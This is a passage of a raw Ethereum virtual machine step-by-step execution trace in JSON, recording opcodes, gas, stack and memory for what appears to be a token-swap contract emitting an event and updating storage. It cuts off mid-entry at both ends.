"op":"SWAP1","gas":20832,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1a4","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3306,"op":"PUSH1","gas":20829,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3308,"op":"ADD","gas":20826,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x1a4","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3309,"op":"PUSH1","gas":20823,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x224"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3311,"op":"MLOAD","gas":20820,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x224","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3312,"op":"DUP1","gas":20817,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x224","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3313,"op":"SWAP2","gas":20814,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x224","0x1a4","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3314,"op":"SUB","gas":20811,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x1a4","0x1a4","0x224"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3315,"op":"SWAP1","gas":20808,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x1a4","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3316,"op":"LOG3","gas":20805,"gasCost":2524,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x80","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3317,"op":"POP","gas":18281,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3318,"op":"POP","gas":18279,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3319,"op":"PUSH1","gas":18277,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3321,"op":"PUSH1","gas":18274,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3323,"op":"SSTORE","gas":18271,"gasCost":100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x1","0x5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3324,"op":"POP","gas":18171,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3325,"op":"POP","gas":18169,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3326,"op":"POP","gas":18167,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3327,"op":"POP","gas":18165,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3328,"op":"POP","gas":18163,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3329,"op":"POP","gas":18161,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3330,"op":"POP","gas":18159,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3331,"op":"JUMP","gas":18157,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","00000